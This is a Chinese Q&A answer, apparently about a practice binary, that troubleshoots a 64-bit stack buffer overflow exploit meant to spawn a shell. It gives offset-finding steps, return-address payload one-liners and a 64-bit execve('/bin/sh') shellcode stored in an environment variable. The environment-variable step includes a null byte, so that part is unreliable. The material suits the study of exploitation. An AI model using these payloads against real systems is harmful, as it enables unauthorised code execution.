64位栈基缓冲区溢出获取Shell遇段错误,求技术协助
64位栈溢出触发段错误的排查与解决
1. 重新验证返回地址偏移量
偏移量计算错误是最常见的原因,按以下步骤确认:
- 生成测试模式字符串:
msf-pattern_create -l 200 - 将该字符串输入程序,触发崩溃后查看寄存器
RIP的十六进制值。 - 计算精确偏移量:
确保覆盖返回地址的字节数完全准确,避免因偏移错误导致返回地址覆盖不完全或破坏栈帧其他结构。msf-pattern_offset -q <崩溃时RIP的十六进制值>
2. 修正环境变量地址的有效性问题
管道运行程序时,进程栈布局与直接运行时存在差异,可能导致getenvvar获取的地址失效:
- 改用文件输入测试:将payload写入
payload.txt,执行./vulnerable < payload.txt。 - 或直接通过命令行参数传递payload:
./vulnerable $(python3 -c "import sys; sys.stdout.write('A'*104 + b'\x0e\xe3\xff\xff\xff\x7f\x00\x00'.decode('latin-1'))") - 同时确认环境变量中已正确注入目标shellcode,且地址指向shellcode的起始位置,未被其他环境变量覆盖。
3. 消除Python print自动添加的换行符
print()函数会自动在输出末尾添加\n,破坏payload的字节布局,改用sys.stdout.write()输出:
python3 -c "import sys; sys.stdout.write('A'*104 + b'\x0e\xe3\xff\xff\xff\x7f\x00\x00'.decode('latin-1'))"
4. 处理64位栈对齐要求
64位系统中,execve等系统调用要求栈对齐到16字节,未对齐会触发段错误:
- 若跳转后栈地址未对齐,可在返回地址前添加8字节填充(调整偏移量为
104+8=112),或在shellcode开头添加若干0x90(nop指令)调整栈位置。 - 示例修改后的payload:
具体填充字节数需根据实际栈布局调整。python3 -c "import sys; sys.stdout.write('A'*104 + 'B'*8 + b'\x0e\xe3\xff\xff\xff\x7f\x00\x00'.decode('latin-1'))"
5. 确认shellcode的正确性
确保使用的是64位合法shellcode,例如标准的execve(/bin/sh) shellcode:
b'\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
将其存入环境变量:
export SHELLCODE=$(python3 -c "print(b'\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x54\x5f\x6a\x3b\x58\x0f\x05'.decode('latin-1'))")
重新获取地址后生成payload测试。
内容的提问来源于stack exchange,提问作者Alessandro Romeo
相关产品推荐
相关产品推荐

